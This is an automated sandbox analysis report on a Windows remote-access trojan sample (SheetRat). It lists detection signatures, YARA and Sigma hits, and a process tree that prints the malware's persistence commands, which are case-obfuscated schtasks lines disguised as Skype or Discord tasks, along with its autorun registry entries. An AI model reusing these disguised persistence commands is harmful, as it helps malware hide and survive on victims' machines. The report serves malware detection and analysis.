Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
CVmkXJ7e0a.exe

Overview

General Information

Sample name:CVmkXJ7e0a.exe
Analysis ID:1574307
MD5:b70651a7c5ec8cc35b9c985a331ffca3
SHA1:8492a85c3122a7cac2058099fb279d36826d1f4d
SHA256:ed9d94e2dfeb610cb43d00e1a9d8eec18547f1bca2f489605f0586969f6cd6d6
Infos:

Detection

SheetRat
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Antivirus detection for URL or domain
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Suricata IDS alerts for network traffic
Yara detected SheetRat
.NET source code contains potential unpacker
Allows loading of unsigned dll using appinit_dll
Connects to a pastebin service (likely for C&C)
Creates an undocumented autostart registry key
Drops large PE files
Found many strings related to Crypto-Wallets (likely being stolen)
Machine Learning detection for sample
Modifies existing user documents (likely ransomware behavior)
Queries memory information (via WMI often done to detect virtual machines)
Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)
Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)
Sigma detected: Execution from Suspicious Folder
Sigma detected: Invoke-Obfuscation CLIP+ Launcher
Sigma detected: Invoke-Obfuscation VAR+ Launcher
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Tries to harvest and steal browser information (history, passwords, etc)
Uses schtasks.exe or at.exe to add and modify task schedules
AV process strings found (often used to terminate AV products)
Abnormal high CPU Usage
Allocates memory with a write watch (potentially for evading sandboxes)
Binary contains a suspicious time stamp
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Contains functionality to call native functions
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates files inside the system directory
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Drops PE files
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May check the online IP address of the machine
May sleep (evasive loops) to hinder dynamic analysis
Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample file is different than original file name gathered from version info
Sigma detected: CurrentVersion Autorun Keys Modification
Sigma detected: CurrentVersion NT Autorun Keys Modification
Sigma detected: Suspicious Schtasks From Env Var Folder
Stores large binary data to the registry
Too many similar processes found
Uses Microsoft's Enhanced Cryptographic Provider
Uses code obfuscation techniques (call, push, ret)
Uses insecure TLS / SSL version for HTTPS connection
Yara detected Credential Stealer
Yara signature match

Classification

Process Tree

  • System is w10x64native
  • CVmkXJ7e0a.exe (PID: 4984 cmdline: "C:\Users\user\Desktop\CVmkXJ7e0a.exe" MD5: B70651A7C5EC8CC35B9C985A331FFCA3)
    • WmiPrvSE.exe (PID: 4716 cmdline: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding MD5: 60FF40CFD7FB8FE41EE4FE9AE5FE1C51)
    • cmd.exe (PID: 6332 cmdline: "CMD" /C SchTaSKs /CrEAte /F /sc OnLoGoN /rl HighEst /tn "Microsoft Skype" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" & exit MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
      • conhost.exe (PID: 6300 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)
      • schtasks.exe (PID: 3960 cmdline: SchTaSKs /CrEAte /F /sc OnLoGoN /rl HighEst /tn "Microsoft Skype" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" MD5: 796B784E98008854C27F4B18D287BA30)
    • cmd.exe (PID: 7624 cmdline: "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST & exit MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
      • conhost.exe (PID: 3636 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)
      • schtasks.exe (PID: 7868 cmdline: SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST MD5: 796B784E98008854C27F4B18D287BA30)
    • cmd.exe (PID: 2748 cmdline: "CMD" /c SchTaSKs /create /f /sc minute /mo 5 /tn "Microsoft Access Update" /tr "C:\Users\user\AppData\Roaming\xdwdpnsvr.exe" /RL HIGHEST & exit MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
      • conhost.exe (PID: 4736 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)
      • schtasks.exe (PID: 5920 cmdline: SchTaSKs /create /f /sc minute /mo 5 /tn "Microsoft Access Update" /tr "C:\Users\user\AppData\Roaming\xdwdpnsvr.exe" /RL HIGHEST MD5: 796B784E98008854C27F4B18D287BA30)
    • cmd.exe (PID: 5188 cmdline: "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST & exit MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
      • conhost.exe (PID: 1044 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)
      • schtasks.exe (PID: 5516 cmdline: SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST MD5: 796B784E98008854C27F4B18D287BA30)
    • cmd.exe (PID: 7200 cmdline: "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST & exit MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
      • conhost.exe (PID: 7984 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)
      • schtasks.exe (PID: 6700 cmdline: SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST MD5: 796B784E98008854C27F4B18D287BA30)
    • cmd.exe (PID: 6464 cmdline: "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST & exit MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
      • conhost.exe (PID: 8088 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)
      • schtasks.exe (PID: 2496 cmdline: SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST MD5: 796B784E98008854C27F4B18D287BA30)
    • cmd.exe (PID: 7800 cmdline: "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST & exit MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
      • conhost.exe (PID: 7576 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)
      • schtasks.exe (PID: 6072 cmdline: SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST MD5: 796B784E98008854C27F4B18D287BA30)
    • cmd.exe (PID: 7176 cmdline: "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST & exit MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
      • conhost.exe (PID: 6340 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)
      • schtasks.exe (PID: 6664 cmdline: SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST MD5: 796B784E98008854C27F4B18D287BA30)
    • cmd.exe (PID: 6616 cmdline: "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST & exit MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
      • conhost.exe (PID: 3624 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)
      • schtasks.exe (PID: 7428 cmdline: SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST MD5: 796B784E98008854C27F4B18D287BA30)
    • cmd.exe (PID: 7676 cmdline: "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST & exit MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
      • conhost.exe (PID: 5800 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)
      • schtasks.exe (PID: 6444 cmdline: SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST MD5: 796B784E98008854C27F4B18D287BA30)
    • cmd.exe (PID: 3172 cmdline: "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST & exit MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
      • conhost.exe (PID: 548 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)
      • schtasks.exe (PID: 4636 cmdline: SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST MD5: 796B784E98008854C27F4B18D287BA30)
    • cmd.exe (PID: 1600 cmdline: "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST & exit MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
      • conhost.exe (PID: 5188 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)
      • schtasks.exe (PID: 1536 cmdline: SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST MD5: 796B784E98008854C27F4B18D287BA30)
    • cmd.exe (PID: 7764 cmdline: "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST & exit MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
      • conhost.exe (PID: 7576 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)
      • schtasks.exe (PID: 5916 cmdline: SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST MD5: 796B784E98008854C27F4B18D287BA30)
    • cmd.exe (PID: 4920 cmdline: "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST & exit MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
      • conhost.exe (PID: 4380 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)
      • schtasks.exe (PID: 4944 cmdline: SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST MD5: 796B784E98008854C27F4B18D287BA30)
    • cmd.exe (PID: 2464 cmdline: "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST & exit MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
      • conhost.exe (PID: 2484 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)
      • schtasks.exe (PID: 3404 cmdline: SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST MD5: 796B784E98008854C27F4B18D287BA30)
    • cmd.exe (PID: 5220 cmdline: "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST & exit MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
      • conhost.exe (PID: 4780 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)
      • schtasks.exe (PID: 7724 cmdline: SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST MD5: 796B784E98008854C27F4B18D287BA30)
    • cmd.exe (PID: 4068 cmdline: "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST & exit MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
      • conhost.exe (PID: 1828 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)
      • schtasks.exe (PID: 7580 cmdline: SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST MD5: 796B784E98008854C27F4B18D287BA30)
    • cmd.exe (PID: 2188 cmdline: "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST & exit MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
      • conhost.exe (PID: 1592 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)
      • schtasks.exe (PID: 6788 cmdline: SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST MD5: 796B784E98008854C27F4B18D287BA30)
    • cmd.exe (PID: 688 cmdline: "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST & exit MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
      • conhost.exe (PID: 7852 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)
      • schtasks.exe (PID: 6112 cmdline: SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST MD5: 796B784E98008854C27F4B18D287BA30)
    • cmd.exe (PID: 716 cmdline: "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST & exit MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
      • conhost.exe (PID: 7036 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)
      • schtasks.exe (PID: 6480 cmdline: SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST MD5: 796B784E98008854C27F4B18D287BA30)
    • cmd.exe (PID: 5016 cmdline: "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST & exit MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
      • conhost.exe (PID: 7624 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)
  • xdwdpnsvr.exe (PID: 5880 cmdline: C:\Users\user\AppData\Roaming\xdwdpnsvr.exe MD5: D9E10C024C63855DC6ABCED6584521E4)
    • cmd.exe (PID: 7040 cmdline: "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST & exit MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
      • conhost.exe (PID: 8068 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)
      • schtasks.exe (PID: 7356 cmdline: SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST MD5: 796B784E98008854C27F4B18D287BA30)
    • xdwdUpdate.exe (PID: 6480 cmdline: "C:\Users\Public\Pictures\xdwdUpdate.exe" MD5: 33DA7ED1E2C973375F265DAAA763EA08)
      • cmd.exe (PID: 3404 cmdline: "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST & exit MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
        • conhost.exe (PID: 4644 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)
        • schtasks.exe (PID: 5348 cmdline: SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST MD5: 796B784E98008854C27F4B18D287BA30)
      • cmd.exe (PID: 6088 cmdline: "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST & exit MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
        • conhost.exe (PID: 5532 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)
        • schtasks.exe (PID: 1632 cmdline: SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST MD5: 796B784E98008854C27F4B18D287BA30)
    • Conhost.exe (PID: 7040 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)
  • xdwdpnsvr.exe (PID: 3084 cmdline: "C:\Users\user\AppData\Roaming\xdwdpnsvr.exe" MD5: D9E10C024C63855DC6ABCED6584521E4)
    • cmd.exe (PID: 1300 cmdline: "CMD" /c scHTaSks /Run /I /TN "Microsoft Skype" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
      • conhost.exe (PID: 2828 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)
      • schtasks.exe (PID: 7060 cmdline: scHTaSks /Run /I /TN "Microsoft Skype" MD5: 796B784E98008854C27F4B18D287BA30)
  • xdwdUpdate.exe (PID: 5756 cmdline: C:\Users\Public\Pictures\xdwdUpdate.exe MD5: 33DA7ED1E2C973375F265DAAA763EA08)
    • cmd.exe (PID: 7164 cmdline: "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST & exit MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
      • conhost.exe (PID: 8028 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)
      • schtasks.exe (PID: 6076 cmdline: SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST MD5: 796B784E98008854C27F4B18D287BA30)
    • cmd.exe (PID: 5164 cmdline: "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST & exit MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
      • conhost.exe (PID: 5796 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)
      • schtasks.exe (PID: 7628 cmdline: SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST MD5: 796B784E98008854C27F4B18D287BA30)
  • xdwdpnsvr.exe (PID: 6008 cmdline: "C:\Users\user\AppData\Roaming\xdwdpnsvr.exe" MD5: D9E10C024C63855DC6ABCED6584521E4)
    • cmd.exe (PID: 5448 cmdline: "CMD" /c scHTaSks /Run /I /TN "Microsoft Skype" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
      • conhost.exe (PID: 5400 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)
      • schtasks.exe (PID: 832 cmdline: scHTaSks /Run /I /TN "Microsoft Skype" MD5: 796B784E98008854C27F4B18D287BA30)
  • xdwdUpdate.exe (PID: 8092 cmdline: C:\Users\Public\Pictures\xdwdUpdate.exe MD5: 33DA7ED1E2C973375F265DAAA763EA08)
    • cmd.exe (PID: 2768 cmdline: "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST & exit MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
      • conhost.exe (PID: 5348 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)
      • schtasks.exe (PID: 1292 cmdline: SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST MD5: 796B784E98008854C27F4B18D287BA30)
  • cleanup

Malware Configuration

⊘No configs have been found

Yara Signatures

Memory Dumps

SourceRuleDescriptionAuthorStrings
00000000.00000002.3672605336.0000000012BFB000.00000004.00000800.00020000.00000000.sdmpJoeSecurity_CredentialStealerYara detected Credential StealerJoe Security
    00000000.00000002.3672605336.0000000012BFB000.00000004.00000800.00020000.00000000.sdmpJoeSecurity_SheetRatYara detected SheetRatJoe Security
      00000000.00000002.3672605336.0000000012BD1000.00000004.00000800.00020000.00000000.sdmpJoeSecurity_SheetRatYara detected SheetRatJoe Security
        00000000.00000002.3684881452.000000001CF10000.00000004.08000000.00040000.00000000.sdmpJoeSecurity_CredentialStealerYara detected Credential StealerJoe Security
          00000000.00000002.3684881452.000000001CF10000.00000004.08000000.00040000.00000000.sdmpJoeSecurity_SheetRatYara detected SheetRatJoe Security
            Click to see the 4 entries

            Unpacked PEs

            SourceRuleDescriptionAuthorStrings
            0.2.CVmkXJ7e0a.exe.12bd9ac0.1.unpackJoeSecurity_SheetRatYara detected SheetRatJoe Security
              0.2.CVmkXJ7e0a.exe.12bd9ac0.1.raw.unpackJoeSecurity_SheetRatYara detected SheetRatJoe Security
                0.2.CVmkXJ7e0a.exe.1cf10000.3.raw.unpackJoeSecurity_CredentialStealerYara detected Credential StealerJoe Security
                  0.2.CVmkXJ7e0a.exe.1cf10000.3.raw.unpackJoeSecurity_SheetRatYara detected SheetRatJoe Security
                    0.2.CVmkXJ7e0a.exe.1cf10000.3.raw.unpackINDICATOR_SUSPICIOUS_EXE_References_VPNDetects executables referencing many VPN software clients. Observed in infosteslersditekSHen
                    • 0x7c93f:$s1: \VPN\NordVPN
                    • 0x7c925:$s2: \VPN\OpenVPN
                    • 0x7c907:$s3: \VPN\ProtonVPN
                    Click to see the 3 entries

                    Sigma Signatures

                    System Summary

                    barindex
                    Sigma detected: Execution from Suspicious Folder
                    Source: Process startedAuthor: Florian Roth (Nextron Systems), Tim Shelton: Data: Command: "C:\Users\Public\Pictures\xdwdUpdate.exe" , CommandLine: "C:\Users\Public\Pictures\xdwdUpdate.exe" , CommandLine|base64offset|contains: , Image: C:\Users\Public\Pictures\xdwdUpdate.exe, NewProcessName: C:\Users\Public\Pictures\xdwdUpdate.exe, OriginalFileName: C:\Users\Public\Pictures\xdwdUpdate.exe, ParentCommandLine: C:\Users\user\AppData\Roaming\xdwdpnsvr.exe, ParentImage: C:\Users\user\AppData\Roaming\xdwdpnsvr.exe, ParentProcessId: 5880, ParentProcessName: xdwdpnsvr.exe, ProcessCommandLine: "C:\Users\Public\Pictures\xdwdUpdate.exe" , ProcessId: 6480, ProcessName: xdwdUpdate.exe
                    Sigma detected: Invoke-Obfuscation CLIP+ Launcher
                    Source: Process startedAuthor: Jonathan Cheong, oscd.community: Data: Command: "CMD" /C SchTaSKs /CrEAte /F /sc OnLoGoN /rl HighEst /tn "Microsoft Skype" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" & exit, CommandLine: "CMD" /C SchTaSKs /CrEAte /F /sc OnLoGoN /rl HighEst /tn "Microsoft Skype" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" & exit, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\Users\user\Desktop\CVmkXJ7e0a.exe", ParentImage: C:\Users\user\Desktop\CVmkXJ7e0a.exe, ParentProcessId: 4984, ParentProcessName: CVmkXJ7e0a.exe, ProcessCommandLine: "CMD" /C SchTaSKs /CrEAte /F /sc OnLoGoN /rl HighEst /tn "Microsoft Skype" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" & exit, ProcessId: 6332, ProcessName: cmd.exe
                    Sigma detected: Invoke-Obfuscation VAR+ Launcher
                    Source: Process startedAuthor: Jonathan Cheong, oscd.community: Data: Command: "CMD" /C SchTaSKs /CrEAte /F /sc OnLoGoN /rl HighEst /tn "Microsoft Skype" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" & exit, CommandLine: "CMD" /C SchTaSKs /CrEAte /F /sc OnLoGoN /rl HighEst /tn "Microsoft Skype" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" & exit, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\Users\user\Desktop\CVmkXJ7e0a.exe", ParentImage: C:\Users\user\Desktop\CVmkXJ7e0a.exe, ParentProcessId: 4984, ParentProcessName: CVmkXJ7e0a.exe, ProcessCommandLine: "CMD" /C SchTaSKs /CrEAte /F /sc OnLoGoN /rl HighEst /tn "Microsoft Skype" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" & exit, ProcessId: 6332, ProcessName: cmd.exe
                    Sigma detected: CurrentVersion Autorun Keys Modification
                    Source: Registry Key setAuthor: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Roaming\xdwdpnsvr.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\Desktop\CVmkXJ7e0a.exe, ProcessId: 4984, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\chrome
                    Sigma detected: CurrentVersion NT Autorun Keys Modification
                    Source: Registry Key setAuthor: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Windows\xdwd.dll, EventID: 13, EventType: SetValue, Image: C:\Users\user\Desktop\CVmkXJ7e0a.exe, ProcessId: 4984, TargetObject: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs
                    Sigma detected: Suspicious Schtasks From Env Var Folder
                    Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: SchTaSKs /CrEAte /F /sc OnLoGoN /rl HighEst /tn "Microsoft Skype" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" , CommandLine: SchTaSKs /CrEAte /F /sc OnLoGoN /rl HighEst /tn "Microsoft Skype" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" , CommandLine|base64offset|contains: ISi", Image: C:\Windows\System32\schtasks.exe, NewProcessName: C:\Windows\System32\schtasks.exe, OriginalFileName: C:\Windows\System32\schtasks.exe, ParentCommandLine: "CMD" /C SchTaSKs /CrEAte /F /sc OnLoGoN /rl HighEst /tn "Microsoft Skype" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" & exit, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6332, ParentProcessName: cmd.exe, ProcessCommandLine: SchTaSKs /CrEAte /F /sc OnLoGoN /rl HighEst /tn "Microsoft Skype" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" , ProcessId: 3960, ProcessName: schtasks.exe

                    Suricata Signatures

                    TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
